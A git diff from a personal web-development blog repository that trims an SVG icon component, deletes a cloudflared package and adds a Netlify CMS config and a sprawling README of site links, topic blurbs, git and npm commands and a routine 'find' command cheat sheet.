-                    <path d="M7.42 10.05c-.18-.16-.46-.23-.84-.23H6l.02 2.44.04 2.45.56-.02c.41 0 .63-.07.83-.26.24-.24.26-.36.26-2.2 0-1.91-.02-1.96-.29-2.18zM0 4.94v14.12h24V4.94H0zM8.56 15.3c-.44.58-1.06.77-2.53.77H4.71V8.53h1.4c1.67 0 2.16.18 2.6.9.27.43.29.6.32 2.57.05 2.23-.02 2.73-.47 3.3zm5.09-5.47h-2.47v1.77h1.52v1.28l-.72.04-.75.03v1.77l1.22.03 1.2.04v1.28h-1.6c-1.53 0-1.6-.01-1.87-.3l-.3-.28v-3.16c0-3.02.01-3.18.25-3.48.23-.31.25-.31 1.88-.31h1.64v1.3zm4.68 5.45c-.17.43-.64.79-1 .79-.18 0-.45-.15-.67-.39-.32-.32-.45-.63-.82-2.08l-.9-3.39-.45-1.67h.76c.4 0 .75.02.75.05 0 .06 1.16 4.54 1.26 4.83.04.15.32-.7.73-2.3l.66-2.52.74-.04c.4-.02.73 0 .73.04 0 .14-1.67 6.38-1.8 6.68z" />
-                ) : icon === 'facebook' ? (
-                    <path d="M23.998 12c0-6.628-5.372-12-11.999-12C5.372 0 0 5.372 0 12c0 5.988 4.388 10.952 10.124 11.852v-8.384H7.078v-3.469h3.046V9.356c0-3.008 1.792-4.669 4.532-4.669 1.313 0 2.686.234 2.686.234v2.953H15.83c-1.49 0-1.955.925-1.955 1.874V12h3.328l-.532 3.469h-2.796v8.384c5.736-.9 10.124-5.864 10.124-11.853z" />
-                ) : icon === 'github' ? (
-                    <path d="M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12" />
-                ) : icon === 'instagram' ? (
-                    <path d="M12 0C8.74 0 8.333.015 7.053.072 5.775.132 4.905.333 4.14.63c-.789.306-1.459.717-2.126 1.384S.935 3.35.63 4.14C.333 4.905.131 5.775.072 7.053.012 8.333 0 8.74 0 12s.015 3.667.072 4.947c.06 1.277.261 2.148.558 2.913a5.885 5.885 0 001.384 2.126A5.868 5.868 0 004.14 23.37c.766.296 1.636.499 2.913.558C8.333 23.988 8.74 24 12 24s3.667-.015 4.947-.072c1.277-.06 2.148-.262 2.913-.558a5.898 5.898 0 002.126-1.384 5.86 5.86 0 001.384-2.126c.296-.765.499-1.636.558-2.913.06-1.28.072-1.687.072-4.947s-.015-3.667-.072-4.947c-.06-1.277-.262-2.149-.558-2.913a5.89 5.89 0 00-1.384-2.126A5.847 5.847 0 0019.86.63c-.765-.297-1.636-.499-2.913-.558C15.667.012 15.26 0 12 0zm0 2.16c3.203 0 3.585.016 4.85.071 1.17.055 1.805.249 2.227.415.562.217.96.477 1.382.896.419.42.679.819.896 1.381.164.422.36 1.057.413 2.227.057 1.266.07 1.646.07 4.85s-.015 3.585-.074 4.85c-.061 1.17-.256 1.805-.421 2.227a3.81 3.81 0 01-.899 1.382 3.744 3.744 0 01-1.38.896c-.42.164-1.065.36-2.235.413-1.274.057-1.649.07-4.859.07-3.211 0-3.586-.015-4.859-.074-1.171-.061-1.816-.256-2.236-.421a3.716 3.716 0 01-1.379-.899 3.644 3.644 0 01-.9-1.38c-.165-.42-.359-1.065-.42-2.235-.045-1.26-.061-1.649-.061-4.844 0-3.196.016-3.586.061-4.861.061-1.17.255-1.814.42-2.234.21-.57.479-.96.9-1.381.419-.419.81-.689 1.379-.898.42-.166 1.051-.361 2.221-.421 1.275-.045 1.65-.06 4.859-.06l.045.03zm0 3.678a6.162 6.162 0 100 12.324 6.162 6.162 0 100-12.324zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4zm7.846-10.405a1.441 1.441 0 01-2.88 0 1.44 1.44 0 012.88 0z" />
-                ) : icon === 'linkedin' ? (
-                    <path d="M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.062 2.062 0 01-2.063-2.065 2.064 2.064 0 112.063 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z" />
-                ) : icon === 'pinterest' ? (
-                    <path d="M12.017 0C5.396 0 .029 5.367.029 11.987c0 5.079 3.158 9.417 7.618 11.162-.105-.949-.199-2.403.041-3.439.219-.937 1.406-5.957 1.406-5.957s-.359-.72-.359-1.781c0-1.663.967-2.911 2.168-2.911 1.024 0 1.518.769 1.518 1.688 0 1.029-.653 2.567-.992 3.992-.285 1.193.6 2.165 1.775 2.165 2.128 0 3.768-2.245 3.768-5.487 0-2.861-2.063-4.869-5.008-4.869-3.41 0-5.409 2.562-5.409 5.199 0 1.033.394 2.143.889 2.741.099.12.112.225.085.345-.09.375-.293 1.199-.334 1.363-.053.225-.172.271-.401.165-1.495-.69-2.433-2.878-2.433-4.646 0-3.776 2.748-7.252 7.92-7.252 4.158 0 7.392 2.967 7.392 6.923 0 4.135-2.607 7.462-6.233 7.462-1.214 0-2.354-.629-2.758-1.379l-.749 2.848c-.269 1.045-1.004 2.352-1.498 3.146 1.123.345 2.306.535 3.55.535 6.607 0 11.985-5.365 11.985-11.987C23.97 5.39 18.592.026 11.985.026L12.017 0z" />
-                ) : icon === 'reddit' ? (
-                    <path d="M12 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0zm5.01 4.744c.688 0 1.25.561 1.25 1.249a1.25 1.25 0 0 1-2.498.056l-2.597-.547-.8 3.747c1.824.07 3.48.632 4.674 1.488.308-.309.73-.491 1.207-.491.968 0 1.754.786 1.754 1.754 0 .716-.435 1.333-1.01 1.614a3.111 3.111 0 0 1 .042.52c0 2.694-3.13 4.87-7.004 4.87-3.874 0-7.004-2.176-7.004-4.87 0-.183.015-.366.043-.534A1.748 1.748 0 0 1 4.028 12c0-.968.786-1.754 1.754-1.754.463 0 .898.196 1.207.49 1.207-.883 2.878-1.43 4.744-1.487l.885-4.182a.342.342 0 0 1 .14-.197.35.35 0 0 1 .238-.042l2.906.617a1.214 1.214 0 0 1 1.108-.701zM9.25 12C8.561 12 8 12.562 8 13.25c0 .687.561 1.248 1.25 1.248.687 0 1.248-.561 1.248-1.249 0-.688-.561-1.249-1.249-1.249zm5.5 0c-.687 0-1.248.561-1.248 1.25 0 .687.561 1.248 1.249 1.248.688 0 1.249-.561 1.249-1.249 0-.687-.562-1.249-1.25-1.249zm-5.466 3.99a.327.327 0 0 0-.231.094.33.33 0 0 0 0 .463c.842.842 2.484.913 2.961.913.477 0 2.105-.056 2.961-.913a.361.361 0 0 0 .029-.463.33.33 0 0 0-.464 0c-.547.533-1.684.73-2.512.73-.828 0-1.979-.196-2.512-.73a.326.326 0 0 0-.232-.095z" />
-                ) : icon === 'twitter' ? (
-                    <path d="M23.954 4.569a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.691 8.094 4.066 6.13 1.64 3.161a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.061a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.937 4.937 0 004.604 3.417 9.868 9.868 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.209c9.054 0 13.999-7.496 13.999-13.986 0-.209 0-.42-.015-.63a9.936 9.936 0 002.46-2.548l-.047-.02z" />
-                ) : icon === 'youtube' ? (
-                    <path d="M23.495 6.205a3.007 3.007 0 00-2.088-2.088c-1.87-.501-9.396-.501-9.396-.501s-7.507-.01-9.396.501A3.007 3.007 0 00.527 6.205a31.247 31.247 0 00-.522 5.805 31.247 31.247 0 00.522 5.783 3.007 3.007 0 002.088 2.088c1.868.502 9.396.502 9.396.502s7.506 0 9.396-.502a3.007 3.007 0 002.088-2.088 31.247 31.247 0 00.5-5.783 31.247 31.247 0 00-.5-5.805zM9.609 15.601V8.408l6.264 3.602z" />
-                ) : (
-                    icon === 'vimeo' && (
-                        <path d="M23.977 6.416c-.105 2.338-1.739 5.543-4.894 9.609-3.268 4.247-6.026 6.37-8.29 6.37-1.409 0-2.578-1.294-3.553-3.881L5.322 11.4C4.603 8.816 3.834 7.522 3.01 7.522c-.179 0-.806.378-1.881 1.132L0 7.197a315.065 315.065 0 003.501-3.128C5.08 2.701 6.266 1.984 7.055 1.91c1.867-.18 3.016 1.1 3.447 3.838.465 2.953.789 4.789.971 5.507.539 2.45 1.131 3.674 1.776 3.674.502 0 1.256-.796 2.265-2.385 1.004-1.589 1.54-2.797 1.612-3.628.144-1.371-.395-2.061-1.614-2.061-.574 0-1.167.121-1.777.391 1.186-3.868 3.434-5.757 6.762-5.637 2.473.06 3.628 1.664 3.493 4.797l-.013.01z" />
-                    )
-                )}
-            </svg>
-        );
-    }
-}
-```
diff --git a/cloudflared.deb b/cloudflared.deb
deleted file mode 100644
index 0d15fe6d4c..0000000000
Binary files a/cloudflared.deb and /dev/null differ
diff --git a/config.yml b/config.yml
new file mode 100644
index 0000000000..11b2be0828
--- /dev/null
+++ b/config.yml
@@ -0,0 +1,3 @@
+backend:
+  name: git-gateway
+  branch: master # Branch to update (optional; defaults to master)
\ No newline at end of file
diff --git a/docs/README.md b/docs/README.md
new file mode 100644
index 0000000000..9320a43f7d
--- /dev/null
+++ b/docs/README.md
@@ -0,0 +1,3875 @@
+# Bgoonz Blog Readme:
+
+### [Github Org Link](https://github.com/BGOOONZ-BLOG/)
+
+## [CHANGELOG](./CHANGELOG.md)
+
+##### [Cloudfare-Backup](https://bgoonz-blog-2-0.pages.dev/)
+
+⇨ [search](https://www.algolia.com/realtime-search-demo/web-dev-resource-hub-9e6b8aa8-6106-44c5-9f59-ff3f9531abd4) ⇨ [Backup Repo Deploy](https://bgoonzblog20-backup.netlify.app/#gsc.tab=0) ⇨ [Github pages](https://bgoonz.github.io/BGOONZ_BLOG_2.0/)
+
+⇨ [Go To Site Wiki](https://github.com/bgoonz/BGOONZ_BLOG_2.0/wiki) ⇨ [Gatsby Cloud Version](https://bgoonzblog20master.gtsb.io/)
+
+⇨ [Vercel Version](https://bgoonz-blog-2-0.vercel.app/)
+
+⇨ [Cloudfare-Domain](www.webdevhub.us) ⇨ [gh-pages](https://bgoonz.github.io/BGOONZ_BLOG_2.0/)
+
+### Repos
+
+-   [Alt Backup](https://github.com/BGOOONZ-BLOG/bgoonz-blog2.0-v-5)
+-   [Blog Content](https://github.com/bgoonz/MainBlogContent)
+
+###### [⇨Privacy policy⇦](https://codepen.io/bgoonz/pen/LYLJZrW)
+
+<!-- /code_chunk_output -->
+![preview](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-may-2022.png?raw=true)
+
+---
+## Useful Commands (internal use)
+
+```bash
+
+npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  --legacy-peer-deps
+
+git checkout 307a5cd        # check out the commit that you want to reset to
+git checkout -b fixy        # create a branch named fixy to do the work
+git merge -s ours master    # merge master's history without changing any files
+git checkout master         # switch back to master
+git merge fixy              # and merge in the fixed branch
+git push                    # done, no need to force push!
+
+
+<!-- /code_chunk_output -->
+
+![preview](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-may-2022.png?raw=true)
+
+git checkout 307a5cd        # check out the commit that you want to reset to
+git checkout -b fixy        # create a branch named fixy to do the work
+git merge -s ours master    # merge master's history without changing any files
+git checkout master         # switch back to master
+git merge fixy              # and merge in the fixed branch
+git push                    # done, no need to force push!
+
+
+
+```
+npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  --legacy-peer-deps
+
+---
+<a href="https://testmysite.io/61e5ff836a840eeeef7e78e9/bgoonz-blog.netlify.app" rel="Test My Site Results">
+![Test My Site](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png?raw=true)</a>
+
+[![gmail](https://img.icons8.com/color/96/000000/gmail.png)](mailto:bryan.guner@gmail.com)[![linkedin](https://img.icons8.com/color/96/000000/linkedin.png) ](https://www.linkedin.com/in/bryan-guner-046199128/)
+
+<details>
+<summary>Web Dev Setup</summary>
+
+[webpack](https://webpack.js.org/)
+
+## Basic Web Development Environment Setup
+Windows Subsystem for Linux (WSL) and Ubuntu
+
+---
+
+![dtw](https://d33wubrfki0l68.cloudfront.net/1111140b3425c2a3e653688cedc52c43af701d30/54d59/images/dtw-algo.jpg)
+Artificial neural networks, usually simply called neural networks, are computing systems vaguely inspired by the biological [neural networks](https://github.com/tensorflow/tensorflow)
+![neural](/_static/app-assets/neural.PNG)
+[NJDEVILS](https://www.allaboutthejersey.com/)
+
+[Career](/docs/career/)
+
+[![webdevhub logo](https://d33wubrfki0l68.cloudfront.net/e5662f0d4f3e7730aea1a0faf7ff09ea20184700/83eb0/images/home-button.png)](/)
+
+Open Menu
+
+-   [Navigation](/docs/sitemap) Sub-menu
+-   [Docs](/docs)
+-   [Showcase](/showcase)
+-   [Contact!](/docs/faq/contact)
+-   [Python](/docs/python/python-ds)
+-   [JavaScript](/javascript)
+-   [Blog](/blog/)
+
+Sub-menu
+
+-   [Blog-Post-Archive](https://bgoonz.blogspot.com/)
+
+-   [Top Blog Posts](https://blog-w-comments.vercel.app/)
+
+-   [Blog w Comments](/blogWcomments/)
+
+-   [Job Search](/docs/career/)
+
+Sub-menu
+
+-   [Job Boards](/docs/career/job-boards)
+-   [Do's and Don'ts of interviews](/interview/dos-and-donts)
+-   [Career-Tips](https://bgoonz-blog.netlify.app/docs/career/)
+
+-   [Interview Questions](/docs/interview/interview-questions)
+-   [Archive](/docs/archive) Sub-menu
+-   [Resource-Archive-Server](https://github.com/bgoonz/Learning-Assets)
+-   [Bootcamp Resources](https://lambda-resources.netlify.app/)
+
+-   [Web Dev Setup](https://bgoonz-blog.netlify.app/blog/webdev-setup/)
+
+
+-   [Top Repos](/docs)
+-   [MY_DOCS](https://bryan-guner.gitbook.io/my-docs/)
+
+
+---
+
+-   [WebAudioLab](https://bgoonz.github.io/WebAudioDaw/)
+
+
+-   [Condensed -Portfolio](https://bg-portfolio.netlify.app/)
+
+-   [Family Promise Tracker](https://a.familypromiseservicetracker.dev/)
+
+-   [DTW-Guitar-FX-Automation](https://github.com/bgoonz/Revamped-Automatic-Guitar-Effect-Triggering)
+-   [Embeds Blog](https://bgoonz-blog-v3-0.netlify.app/embeds/)
+
+-   [alt-blogs](https://bgoonz-blog-v3-0.netlify.app/)
+
+-   [Games](https://bgoonz-games.netlify.app/)
+
+-   [Blog Backup](https://bgoonz-blog-v3-0.netlify.app/)
+
+-   [Cover Letter](https://bgoonz-cv.netlify.app/)
+
+-   [Project Centric](https://project-portfolio42.netlify.app/)
+
+-   [Wordpress Blog](https://bgoonz-blog.netlify.app/)
+
+-   [Project Portfolio Gallery](https://project-portfolio42.netlify.app/)
+
+-   [github-stats-website](https://bgoonz.github.io/github-stats-website/)
+
+-   [Admin](https://bgoonz-blog.netlify.app/admin/)
+
+Sub-menu
+
+-   [Write Docs](https://bgoonz-blog.netlify.app/admin/#/collections/docs)
+-   [Write Blog](https://bgoonz-blog.netlify.app/admin/#/collections/blog/new)
+-   [Webmaster](https://bgoonz-blog.netlify.app/admin/#/collections/blog/new)
+-   [Tools](/docs/tools) Sub-menu
+-   [Github HTML Previewer](https://githtmlpreview.netlify.app/)
+
+-   [Text Tools](https://devtools42.netlify.app/)
+
+-   [Ternary 2 If Else](https://ternary42.netlify.app/)
+
+-   [Web Dev Utility Tools](/hps://web-dev-utility-tools-bgoonz.netlify.app/)
+
+-   [Setup Checker](https://github.com/bgoonz/web-dev-setup-checker)
+-   [PotluckPlanner](https://potluck-landing.netlify.app/)
+
+-   [WebDev Quizzes](https://web-dev-interview-prep-quiz-website.netlify.app/)
+
+-   [Github-Advanced-Search](https://github.com/search/advanced)
+    Close Menu
+    _🔎_
+    Search
+
+# I am a musician, electrical engineer & web developer
+
+**Please note that this website is in development and is often broken!**
+[](https://www.vagrantup.com/)
+
+[![gmail](https://img.icons8.com/color/96/000000/gmail.png)](mailto:bryan.guner@gmail.com)[![linkedin](https://img.icons8.com/color/96/000000/linkedin.png) ](https://www.linkedin.com/in/bryan-guner-046199128/)
+
+```bash
+git init
+git add .
+git commit -m"update"
+git push -u origin gh-pages
+```
+```bash
+git init
+git add .
+git commit -m"update"
+git push -u origin preview
+```
+
+[](https://webpack.js.org/)
+
+> Notes:
+###### code
+
+```bash
+
+![Python](https://img.shields.io/badge/-Python-05122A?style=flat&logo=python)
+![HTML](https://img.shields.io/badge/-HTML-05122A?style=flat&logo=HTML5)
+![CSS](https://img.shields.io/badge/-CSS-05122A?style=flat&logo=CSS3&logoColor=1572B6)
+![JavaScript](https://img.shields.io/badge/-JavaScript-05122A?style=flat&logo=javascript)
+![React](https://img.shields.io/badge/-React-05122A?style=flat&logo=react)
+![Node.js](https://img.shields.io/badge/-Node.js-05122A?style=flat&logo=node.js)
+
+![VisualStudioCode](https://img.shields.io/badge/-Visual%20Studio%20Code-05122A?style=flat&logo=visual-studio-code&logoColor=007ACC)
+![Docker](https://img.shields.io/badge/-Docker-05122A?style=flat&logo=Docker)
+![MongoDB](https://img.shields.io/badge/-MongoDB-05122A?style=flat&logo=mongodb)
+![PostgreSQL](https://img.shields.io/badge/-PostgreSQL-05122A?style=flat&logo=postgresql)
+
+![Git](https://img.shields.io/badge/-Git-05122A?style=flat&logo=git)
+![GitHub](https://img.shields.io/badge/-GitHub-05122A?style=flat&logo=github)
+![GitLab](https://img.shields.io/badge/-GitLab-05122A?style=flat&logo=gitlab)
+
+---
+
+![](https://d33wubrfki0l68.cloudfront.net/47651cb6f5e64bf9eee581581215e5c456e3968d/83ee4/images/bigo.jpg)
+
+### [A Quick Guide To Big O](https://bgoonz-blog.netlify.app/docs/ds-algo/big-o/)
+
+Memoization, Tabulation, and Sorting Algorithms by Example↩ Why is looking at runtime not a reliable method of calculating time↩ complexity?
+[View Post](/docs/ds-algo/big-o/)
+
+![python](https://d33wubrfki0l68.cloudfront.net/4337f190bb60dcd6f83fd5e2ac21502e1cf93f45/16558/images/python-language.jpg)
+
+### [Python Guide](https://bgoonz-blog.netlify.app/docs/python/python-ds)
+
+_Python has a built in help function that let's you see a description↩ of the source code without having to navigate to it… "-SickNasty …↩ Autor Unknown" ._
+[View Posts](https://bgoonz-blog.netlify.app/docs/python/python-ds)
+
+![](https://d33wubrfki0l68.cloudfront.net/1111140b3425c2a3e653688cedc52c43af701d30/54d59/images/dtw-algo.jpg)
+
+### [Guitar Effects Triggering w DTW](https://github.com/bgoonz/Revamped-Automatic-Guitar-Effect-Triggering)
+
+[Learn More](/docs/tools)
+
+![img of dtw](https://d33wubrfki0l68.cloudfront.net/a37b8bc089cdd775711785baf935f9b1c4e732b0/c2294/images/react.gif)
+
+### [Beginner Guide React](https://bgoonz-blog.netlify.app/docs/react/react2/)
+
+As I learn to build web applications in React I will blog about it in↩ this series in an attempt to capture the questions that a complete↩ beginner might encounter that a more seasoned developer would take for↩ granted!
+
+![img of react](https://d33wubrfki0l68.cloudfront.net/f318a0bdc5403fb9b59683b46e3c9ec2d75d2ed2/7de75/images/pleasant-birch.png)
+
+### [Scope & Closure](https://dev.to/bgoonz/scope-and-context-in-javascript-5cma)
+
+Scope & Context in JS
+The **scope** of a program in JavaScript is the set of variables that are available for use within the program.
+
+![scope and closure](https://d33wubrfki0l68.cloudfront.net/bc959e2c76edd99401fa7bc07665db54863f5fd2/97e29/images/dtw-slideshow.gif)
+
+### Web Audio Daw
+
+PostgreSQL Cheat Sheet, Everything You Need to View Post With VSCode
+
+-   Extensions & Resources, Super Simple Intro To HTML, Understanding↩ Git... etc....
+
+## Current Interests
+
+From github repositories to existential questions.
+
+![angolia](https://d33wubrfki0l68.cloudfront.net/589475503098710e5f2f3c1a381015f69e6b4760/0be4d/images/neural.png)
+
+```bash
+git init
+git add .
+git commit -m"update"
+git push -u origin gh-pages
+```
+```bash
+git init
+git add .
+git commit -m"update"
+git push -u origin preview
+```
+
+[Full Text Search](https://www.algolia.com/)
+
+![neural networks](https://d33wubrfki0l68.cloudfront.net/589475503098710e5f2f3c1a381015f69e6b4760/0be4d/images/neural.png)
+
+### [Convolutional Neural Networks](/neural networks)
+
+> Notes:
+###### code
+
+### [Jamstack](/jamstack)
+
+##### Why Jamstack Jamstack is the new standard architecture for the
+
+web. Using Git workflows and modern build tools, pre-rendered content↩ is served to a CDN and made dynamic through APIs and serverless↩ functions. Technologies in the stack include JavaScript frameworks,↩ Static Site Generators, Headless CMSs, and CDNs.
+
+![event loop](https://d33wubrfki0l68.cloudfront.net/fb22b10eaa16e4ac0690115bf6c6987350d38d4b/13c10/images/eventloop.gif)
+
+### [Asynchronous JavaScript](/docs/)
+
+The term **asynchronous** refers to two or more objects or events **not** existing or happening at the same time (or multiple related things happening without waiting for the previous one to complete). In computing, the word "asynchronous" is used in two major contexts.
+[Learn More](https://www.allaboutthejersey.com/)
+
+![nj-devils](/images/njdev-219301cd.jpg)
+
+### [NJ Devils](https://www.allaboutthejersey.com/)
+
+# New Jersey Devils Hockey Team
+
+### (Hockey in general)
+
+## Team identity
+
+[![devils](https://upload.wikimedia.org/wikipedia/en/thumb/d/da/OldDevils.png/300px-OldDevils.png)](https://en.wikipedia.org/wiki/File:OldDevils.png)
+The old green style jerseys used from 1982 to 1992The jerseys used from 1992 to 2017[Sean Avery](https://en.wikipedia.org/wiki/Sean_Avery) of the [New York Rangers](https://en.wikipedia.org/wiki/New_York_Rangers) attempts to distract Brodeur during the [2008 Stanley Cup playoffs](https://en.wikipedia.org/wiki/2008_Stanley_Cup_playoffs). The playoff series was the fifth to feature the [Devils-Rangers rivalry](https://en.wikipedia.org/wiki/Devils%E2%80%93Rangers_rivalry).
+[Learn More](https://www.iter.org/)
+
+![ITER Reactor](https://d33wubrfki0l68.cloudfront.net/c2ae8fae397ffc059312cb9e84ae23dd4bf774bd/fd765/images/iter.jpg)
+
+### [ITER Fusion Reactor Experiment (Southern France)](https://www.iter.org/)
+
+# Break Even Nuclear Fusion Candidate
+
+In December, researchers at the Joint European Torus (JET) started↩ conducting fusion experiments with tritium — a rare and radioactive↩ isotope of hydrogen. The facility is a one-tenth-volume mock-up of the↩ US\$22-billion ITER project and has the same doughnut-shaped 'tokamak'↩ design — the world's most developed approach to fusion energy. It is↩ the first time since 1997 that researchers have done experiments in a↩ tokamak with any significant amount of tritium.
+
+## Resume & Portfolio
+
+![resume](https://d33wubrfki0l68.cloudfront.net/b6e6b09f4479310dff86d8dd7af1b73762484f6a/fea3e/images/image-of-resume.png)
+
+### [Resume](https://github.com/bgoonz/resume-cv-portfolio-samples/raw/master/2021-resume/bryan-guner-resume-2021.pdf)
+
+[View In One Drive](https://1drv.ms/b/s!AkGiZ9n9CRDSpLsZsnPtiN7p77vq6A) [Web Version](#) [Download PDF](https://github.com/bgoonz/bgoonz/raw/master/bryan_guner_resume_2021_V9.pdf)
+
+![portfolio of websites](https://d33wubrfki0l68.cloudfront.net/4e66fa2888421bd225aa811c156362cc0b7d4ebc/ca806/images/portfolio.jpg)
+
+### Showcase
+
+![My Projects](/_static/app-assets/lambda-demo1.gif)My Projects!
+[Learn More](/showcase)
+
+## Blog-Archive-And-Mini-Projects
+
+![animated gif](/images/cool annimation.gif)
+
+## Latest & Greatest
+
+## Web Dev Utilitiy Tools
+
+## Tools Showcase
+
+![medium](https://d33wubrfki0l68.cloudfront.net/e5828552ff6b5743ed241d9c926e60eb925dde97/8dbbf/images/goals.jpg)
+
+## Web Audio DA
+
+[Go To Web Audio Daw](https://mihirbegmusiclab.netlify.app/)
+
+```bash
+tree -d -I  'node_modules'
+## Quick Links
+
+quick links home
+
+### [About](/docs/about/)
+
+Web-Dev-Hub is my personal blogand documentation site
+[Learn More](/docs/about/)
+
+### [Articles](/docs/articles/)
+
+my web development articles
+[Learn More](/docs/articles/)
+
+### [Audio](/docs/audio/)
+
+Audio Projects and tools / web audio daw
+[Learn More](/docs/audio/)
+
+### [Archive](/docs/archive/)
+
+more tools that I have created or collaborated on.
+[Learn More](/docs/archive/)
+
+### [Career](/docs/career/)
+
+Reference materials and descriptions of fundamental concepts as well as visua
+[Learn More](/docs/career/)
+
+### [Community](/docs/community/)
+
+We'd love it if you participate in the Libris community. Find out how to get connected.
+[Learn More](/docs/community/)
+
+### [Content](/docs/content/)
+
+[Learn More](/docs/content/)
+
+### [CSS](/docs/css/)
+
+[Learn More](/docs/css/)
+
+### [Docs](/docs/docs/)
+
+Documentation
+[Learn More](/docs/docs/)
+
+### [Data Structures](/docs/ds-algo/)
+
+In this section you'll learn how to add syntax highlighting, examples, callouts and much more.
+[Learn More](/docs/ds-algo/)
+
+### [FAQ](/docs/faq/)
+
+In this section you'll find commonly asked questions regarding the Libris theme. If you have questions, don't hesitate to ask us directly.
+[Learn More](/docs/faq/)
+
+find . -name 'node-gyp' -type d -prune -exec rm -rf '{}' +
+###
+
+Learn More
+
+### [Interact](/docs/interact/)
+
+Interactive examples and projects
+[Learn More](/docs/interact/)
+
+### [Javascript](/docs/javascript/)
+
+[Learn More](/docs/javascript/)
+
+### [JS-Quick-Tips](/docs/js-tips/)
+
+Javascript articles and docs
+[Learn More](/docs/js-tips/)
+
+### [Leetcode](/docs/leetcode/)
+
+[Learn More](/docs/leetcode/)
+
+### [Netlify CMS](/docs/netlify-cms-jamstack/)
+
+etlify CMS is an open source content management system for your Git workflow that enables you to provide editors with a friendly UI and intuitive workflows.
+[Learn More](/docs/netlify-cms-jamstack/)
+
+### [Overflow](/docs/overflow/)
+
+feel free to try the examples
+[Learn More](/docs/overflow/)
+
+### [Projects](/docs/projects/)
+
+We'd love it if you participate in the Web-Dev-Hubcommunity. Find out how to get connected.
+[Learn More](/docs/projects/)
+
+### [Python](/docs/python/)
+
+Python
+[Learn More](/docs/python/)
+
+### [QuickRef](/docs/quick-ref/)
+
+In this section you'll find basic information about Web-Dev-Hub and how to use it.
+[Learn More](/docs/quick-ref/)
+
+### [React](/docs/react/)
+
+To make it easy to write documentation in plain Markdown, most React are styled using Markdown elements with few additional CSS classes.
+[Learn More](/docs/react/)
+
+### [Reference](/docs/reference/)
+
+helpful reference guides
+[Learn More](/docs/reference/)
+
+### [Tips](/docs/tips/)
+
+lorem-ipsum
+[Learn More](/docs/tips/)
+
+### [Tools](/docs/tools/)
+
+See some interesting tools developed by the Web-Dev-Hubcommunity to help automate parts of your workflow.
+[Learn More](/docs/tools/)
+
+### [Tutorials](/docs/tutorials/)
+
+Walkthroughs of various development activities and skills
+[Learn More](/docs/tutorials/)
+
+## Contact
+
+get in touch! +1 (551) - 254 - 5505
+[Contact](/docs/faq/contact)
+[index](https://search.freefind.com/siteindex.html?si=14588965)
+[sitemap](https://search.freefind.com/find.html?si=14588965&m=0&p=0)
+[advanced](https://search.freefind.com/find.html?si=14588965&pid=a)
+[search engine](https://www.freefind.com) [byfreefind](https://www.freefind.com)
+[Save to PDF](//pdfcrowd.com/url_to_pdf/?)
+[![webdevhub logo](https://d33wubrfki0l68.cloudfront.net/e5662f0d4f3e7730aea1a0faf7ff09ea20184700/6ca0b/images/dgqlkqjtmk.png)](/)
+
+@bgoonz on almost every platform [BLM](https://random-static-html-deploys.netlify.app/blm.html)
+[Twitter](https://twitter.com/bgooonz) [LinkedIn](https://www.linkedin.com/in/bryan-guner-046199128/)
+
+[GitHub](https://github.com/bgoonz) [Youtube](https://www.youtube.com/channel/UC9-rYyUMsnEBK8G8fCyrXXA) [Instagram](https://www.instagram.com/bgoonz/?hl=en) [dev.to](https://dev.to/bgoonz)
+
+<summary> Bash Commands</summary>
+## My Commands
+## # Find
+# To find files by case-insensitive extension (ex: .jpg, .jpg, .jpG)
+find . -iname "\*.jpg"
+# To find directories
+find . -type d
+# To find files
+find . -type f
+# To find files by octal permission
+find . -type f -perm 777
+# To find files with setuid bit set
+find . -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
+# To find files with extension '.txt' and remove them
+find ./path/ -name '\*.txt' -exec rm '{}' \;
+# To find files with extension '.txt' and look for a string into them
+find ./path/ -name '\*.txt' | xargs grep 'string'
